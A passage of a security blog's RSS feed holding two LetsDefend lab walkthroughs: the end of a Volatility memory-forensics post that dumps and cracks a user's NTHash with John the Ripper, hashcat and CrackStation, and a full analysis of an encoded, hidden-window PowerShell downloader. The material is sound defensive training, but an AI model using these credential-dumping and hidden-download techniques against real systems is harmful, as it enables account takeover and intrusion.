data-flex-grow=&#34;173&#34; height=&#34;462&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/4e0e5625d5b80e39c94ebe1ddce57011_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;It looks like this worked. Now we have the domain name and the username of the victim. This plugin actually gave us both parts of the answer, too. Now we have two methods to discover usernames.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2232px&#34; data-flex-grow=&#34;930&#34; height=&#34;86&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/5c06a61f9c814de4f398ceff6a4851a6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-compromised-user-password&#34;&gt;Question 5: What is the compromised user password?&#xA;&lt;/h3&gt;&lt;p&gt;For the last task, we need to get the password for &lt;em&gt;CyberJunkie&lt;/em&gt;. I&amp;rsquo;m not sure where this fits into the investigation narrative, but it will be fun to keep exploring &lt;em&gt;Volatility&lt;/em&gt; and practice some password cracking while we&amp;rsquo;re at it. Let&amp;rsquo;s go back one last time to the &lt;em&gt;Volatility&lt;/em&gt; help and see what we plugin might help us.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3042px&#34; data-flex-grow=&#34;1267&#34; height=&#34;34&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/e32f15a9ee0bf3b78927c9287f4f2440_MD5.png&#34; width=&#34;431&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;It seems like the &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#hashdump&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;hashdump&lt;/strong&gt;&lt;/a&gt; plugin might be able to dump the user&amp;rsquo;s password hashes for us. We&amp;rsquo;ll get a little more context from the &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#hashdump&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;command reference&lt;/a&gt; again:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;To extract and decrypt cached domain credentials stored in the registry, use the hashdump command&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Hashes can now be cracked using John the Ripper, rainbow tables, etc.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s try it out. Again, we will output the results to a text file for easier analysis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;6400px&#34; data-flex-grow=&#34;2666&#34; height=&#34;30&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/0bd979d9672de0782a4b2de3f241446a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After reviewing the output, we now have the NTHash of the user password from cached credentials in the registry! Now we need to crack the password to solve the challenge.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1021px&#34; data-flex-grow=&#34;425&#34; height=&#34;188&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/482af2c9833dfbbaf6de6564ed21f525_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;em&gt;Volatility&lt;/em&gt; docs suggest that we can throw the hash into &lt;em&gt;John the Ripper&lt;/em&gt;, or something similar. I prefer &lt;em&gt;John the Ripper&lt;/em&gt; but you could also use &lt;em&gt;hashcat&lt;/em&gt; or even &lt;em&gt;CrackStation&lt;/em&gt; if you want to do a quick check. For illustrative purposes, I will show all three here and use the classic &lt;em&gt;rockyou.txt&lt;/em&gt; wordlist.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1244px&#34; data-flex-grow=&#34;518&#34; height=&#34;152&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/4913a40afdcc53cbb6bb3d232dfe70a0_MD5.png&#34; width=&#34;788&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Cracking the user&amp;rsquo;s NTHash with John the Ripper.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;350px&#34; data-flex-grow=&#34;145&#34; height=&#34;548&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/b2ca87b1bad74370967a2e2f44fc41fe_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Cracking the user&amp;rsquo;s NTHash with hashcat.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;752px&#34; data-flex-grow=&#34;313&#34; height=&#34;255&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/7c1efe8fa871cbd127071ddf7b296c7d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Cracking the user&amp;rsquo;s NTHash with CrackStation.&lt;/p&gt;&#xA;&lt;p&gt;There we have it! Using &lt;em&gt;Volatility&lt;/em&gt; we were able to dump the user hashes and crack them to discover the password. Let&amp;rsquo;s submit the answer and wrap this challenge up.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2526px&#34; data-flex-grow=&#34;1052&#34; height=&#34;76&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/edfef31e7a96155f6def3b60d005f58a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h4&gt;&lt;p&gt;Great job! We got to explore &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Volatility3&lt;/em&gt;&lt;/a&gt; and made it through the challenge. This challenge really got me interested in utilizing &lt;em&gt;Volatility&lt;/em&gt; and was a great introduction to the tool. Thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;LetsDefend.io&lt;/a&gt; for the awesome lab and thank you for checking out this walkthrough and stumbling through the challenge with me. Stay curious!&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — PowerShell Script Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/</link>
            <pubDate>Sun, 11 Feb 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/f5d3f7d7ca43056f9865d885ff4cb868_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — PowerShell Script Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--powershell-script-challenge-walkthrough&#34;&gt;LetsDefend — PowerShell Script Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;powershell-script-analysis-with-cyberchef&#34;&gt;PowerShell Script Analysis with CyberChef&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/f5d3f7d7ca43056f9865d885ff4cb868_MD5.png&#34; width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h4&gt;&lt;p&gt;Hello! I just started checking out the practice labs over at &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;LetsDefend&lt;/a&gt; and adding them into my rotation. I want to take the opportunity to give back and do some write-ups as I go through the site to help anyone who stumbles across this post to level-up their analysis. This challenge room is rated easy, but it presents a great opportunity not only to get familiar with the platform (and find some flags!) but also sharpen my own skills by digging deeper with some research into some fundamentals PowerShell script analysis. Thanks for reading!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/powershell-script#virtual&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/powershell-script#virtual&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Scenario:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You&amp;rsquo;ve come across a puzzling Base64 script, seemingly laced with malicious intent. Your mission, should you choose to accept it, is to dissect and analyze this script, unveiling its true nature and potential risks. Dive into the code and reveal its secrets to safeguard our digital realm. Good luck on this daring quest!&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Tool Needed:&lt;/strong&gt; Cyberchef&#xA;&lt;strong&gt;File Location:&lt;/strong&gt; C:\Users\LetsDefend\Desktop\script.txt&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;This challenge prepared by &lt;a class=&#34;link&#34; href=&#34;https://www.linkedin.com/in/zaid-shah-05527a22b/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;ZaadoOfc&lt;/a&gt;&#xA;&lt;strong&gt;Credit:&lt;/strong&gt; csnp.org&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h4 id=&#34;question-1-what-encoding-is-the-malicious-scriptusing&#34;&gt;&lt;strong&gt;Question 1: What encoding is the malicious script using?&lt;/strong&gt;&#xA;&lt;/h4&gt;&lt;p&gt;First, let&amp;rsquo;s take a quick look at this script and focus on the parameters:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1246px&#34; data-flex-grow=&#34;519&#34; height=&#34;154&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/8d9519708c264a83386f6fd14e576e07_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notice the &lt;code&gt;-Enc&lt;/code&gt; parameter and the script that follows? PowerShell supports abbreviated parameters as long as it is unambiguous and couldn&amp;rsquo;t be confused with another command. With that in mind, this looks like it is the abbreviated parameter of &lt;code&gt;-EncodedCommand&lt;/code&gt;. According to &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1#-encodedcommand-base64encodedcommand&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Microsoft Learn&lt;/a&gt;, this parameter allows PowerShell to accept a &lt;strong&gt;Base64&lt;/strong&gt; encoded command. The encoding obfuscates the script so that security tools and defenders won&amp;rsquo;t be as easily able to detect and analyze the contents.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s try the answer&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;752px&#34; data-flex-grow=&#34;313&#34; height=&#34;118&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/6d1cc092206af693089af575f3f19a74_MD5.png&#34; width=&#34;370&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Nice, we got one! Let&amp;rsquo;s keep moving.&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-2-what-parameter-in-the-powershell-script-makes-it-so-that-the-powershell-window-is-hidden-when-executed&#34;&gt;&lt;strong&gt;Question 2: What parameter in the powershell script makes it so that the powershell window is hidden when executed?&lt;/strong&gt;&#xA;&lt;/h4&gt;&lt;p&gt;Looking at the parameters again, one sticks out:&lt;code&gt;-W Hidden&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;If we refer to &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1#-windowstyle-window-style&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Microsoft Learn&lt;/a&gt;, it seems that &lt;code&gt;-W&lt;/code&gt; is a shorthand for &lt;code&gt;-WindowStyle&lt;/code&gt; where &lt;code&gt;Hidden&lt;/code&gt; is a value that makes the session not visible to the user when the script is executed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1287px&#34; data-flex-grow=&#34;536&#34; height=&#34;145&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/f599bdec935ca645813e6a8f56d004ec_MD5.png&#34; width=&#34;778&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-3-what-parameter-in-the-powershell-script-prevents-the-user-from-closing-theprocess&#34;&gt;&lt;strong&gt;Question 3: What parameter in the Powershell script prevents the user from closing the process?&lt;/strong&gt;&#xA;&lt;/h4&gt;&lt;p&gt;Approaching this the same way as the last question, there is a parameter that seems like it might correct: &lt;code&gt;-NonI&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Going back to &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1#-noninteractive&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Microsoft Learn&lt;/a&gt;, this seems to be a parameter abbreviation for &lt;code&gt;-NonInteractive&lt;/code&gt; which means that the session won&amp;rsquo;t prompt for/require user input during execution of the script.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1151px&#34; data-flex-grow=&#34;479&#34; height=&#34;129&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/bfabaf68dcc7ea2f1cf07db927a8d55c_MD5.png&#34; width=&#34;619&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-4-what-line-of-code-allows-the-script-to-interact-with-websites-and-retrieve-information-fromthem&#34;&gt;&lt;strong&gt;Question 4: What line of code allows the script to interact with websites and retrieve information from them?&lt;/strong&gt;&#xA;&lt;/h4&gt;&lt;p&gt;From &lt;strong&gt;&lt;em&gt;Question 1&lt;/em&gt;&lt;/strong&gt;, we know that we are looking at a &lt;strong&gt;Base64&lt;/strong&gt; encoded script so we need to decode and analyze the payload to understand what it is doing. Our challenge scenario tells us we will want to jump into &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;CyberChef&lt;/a&gt; to decode&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;716px&#34; data-flex-grow=&#34;298&#34; height=&#34;268&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/663edeb7da0599e7c53cc2446914fc51_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, let&amp;rsquo;s apply the &lt;em&gt;From Base64&lt;/em&gt; operation to our recipe. We are getting closer and the script is starting to become readable, but notice the &lt;em&gt;NULL&lt;/em&gt; bytes?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2021px&#34; data-flex-grow=&#34;842&#34; height=&#34;95&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/d877c6b4e624cdcb4970a099ee32f411_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;What if we add &lt;em&gt;Remove Null Bytes&lt;/em&gt; to the recipe, too?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;793px&#34; data-flex-grow=&#34;330&#34; height=&#34;242&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/cbe77885c721a399c9888d24c0717dc6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;That looks better!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2642px&#34; data-flex-grow=&#34;1100&#34; height=&#34;109&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/0bfaaaa10356164ea430c5209bde3959_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/0bfaaaa10356164ea430c5209bde3959_MD5_hu_b586915ae92309b3.png 800w, https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/0bfaaaa10356164ea430c5209bde3959_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we can read this, let&amp;rsquo;s take a closer look and tackle the rest of this question. We are looking for a &amp;quot; # &amp;ldquo;line of code allows the script to interact with websites and retrieve information from them&amp;rdquo;— let&amp;rsquo; look at the first line. We see a reference to the string &lt;em&gt;WebClient,&lt;/em&gt; this seems like a good place to start!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient?view=net-8.0#remarks&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Microsoft Learn&lt;/a&gt; states that &lt;code&gt;WebClient&lt;/code&gt; is a class in the System.Net namespace and is used to download or upload data to the internet. So by creating this class you can perform web-related tasks such as downloading files from URLs.&lt;/p&gt;&#xA;&lt;p&gt;If we take the whole line, it looks like we have our answer and can start to understand that the script might be trying to download something from somewhere&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1063px&#34; data-flex-grow=&#34;442&#34; height=&#34;156&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/4ba2132940ca8af196b4b8ea7784160c_MD5.png&#34; width=&#34;691&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-5-what-is-the-user-agent-string-that-is-being-spoofed-in-the-malicious-script&#34;&gt;&lt;strong&gt;Question 5: What is the user agent string that is being spoofed in the malicious script?&lt;/strong&gt;&#xA;&lt;/h4&gt;&lt;p&gt;Looking at the next line, we see the &lt;code&gt;$u&lt;/code&gt; variable set as this string:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;a class=&#34;link&#34; href=&#34;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Mozilla&lt;/a&gt;, this looks like a pretty standard user agent string so we probably our answer already. For context, user agent strings are used by servers to identify requesting client details like the operating system, web browser version, and the web rendering engine.&lt;/p&gt;&#xA;&lt;p&gt;While not required for this challenge, a cool thing you can do is try a user agent lookup tool to help provide some context for the spoofed user agent string. If we run the string from the challenge, we can get some additional intelligence and see what client the script is spoofing!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;241px&#34; data-flex-grow=&#34;100&#34; height=&#34;796&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/39d8c2333eb02f6bea6fbf5984f07fd5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-6-what-line-of-code-is-used-to-set-the-proxy-credentials-for-authentication-in-thescript&#34;&gt;&lt;strong&gt;Question 6: What line of code is used to set the proxy credentials for authentication in the script?&lt;/strong&gt;&#xA;&lt;/h4&gt;&lt;p&gt;Okay, looking at the decoded script we see a reference to &lt;code&gt;Proxy.Cedentials&lt;/code&gt; which puts us in the right place for the question.&lt;/p&gt;&#xA;&lt;p&gt;The full code seems to be suggesting that the script sets the variable to use the &lt;code&gt;System.Net.CredentialCache.DefaultNetworkCredentials&lt;/code&gt; property of the credential cache. After doing some research, it seems that when using PowerShell to connect out to external web (HTTP/HTTPS) resources, it does not use the system&amp;rsquo;s specified proxy server settings by default and they must be specified — &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/dotnet/api/system.net.credentialcache.defaultnetworkcredentials?view=net-8.0#remarks&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Microsoft Learn&lt;/a&gt; states that:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The credentials returned by &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/dotnet/api/system.net.credentialcache.defaultnetworkcredentials?view=net-8.0&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;DefaultNetworkCredentials&lt;/a&gt; represents the authentication credentials for the current security context in which the application is running. For a client-side application, these are usually the Windows credentials (user name, password, and domain) of the user running the application.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;That&amp;rsquo;s a lot of information! Essentially, it appears that the command is simply using the current security context (user name, password, and domain) to set proxy authentication in the script to make the web request to ensure that it gets out.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1478px&#34; data-flex-grow=&#34;616&#34; height=&#34;124&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/dcde6bee52d19cf864e33ad65cdb1d8f_MD5.png&#34; width=&#34;764&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-7-when-the-malicious-script-is-executed-what-is-the-url-that-the-script-contacts-to-download-the-malicious-payload&#34;&gt;&lt;strong&gt;Question 7: When the malicious script is executed, what is the URL that the script contacts to download the malicious payload?&lt;/strong&gt;&#xA;&lt;/h4&gt;&lt;p&gt;We made it, last one! This one is easy to spot. Let&amp;rsquo;s look at the &lt;code&gt;$DownloadString&lt;/code&gt; — this is pointing our &lt;code&gt;$WC (WebClient)&lt;/code&gt; instance to download the content of the specified URL.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadstring?view=net-8.0&#34;  title=&#34;https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadstring?view=net-8.0&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;WebClient.DownloadString Method (System.Net)&lt;/strong&gt;&#xA;_Downloads the requested resource as a String. The resource to download may be specified as either String containing the&amp;hellip;_learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadstring?view=net-8.0&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we have the URL, we could apply additional intelligence, perform further analysis, and apply mitigations for the indicator but for the purposes of this challenge this is as far as we need to go. Let&amp;rsquo;s submit the flag and wrap this up!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1650px&#34; data-flex-grow=&#34;687&#34; height=&#34;115&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/cb226b6513dd3fb74a20b9924eb08179_MD5.png&#34; width=&#34;791&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h4 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h4&gt;&lt;p&gt;Whew! We made it through the challenge and we also have a better working understanding of this script: basically when the victim executes the script, PowerShell runs the code in a hidden, non-interactive window where it downloads the malicious payload from an external URL. Good work!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for checking out this walkthrough and thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;LetsDefend.io&lt;/a&gt; for the fun lab. I hope whoever stumbled upon this post found it helpful and that the additional analysis and context added some value for you. Stay curious!&lt;/p&gt;&#xA;</description>
        </item></channel>
</rss>
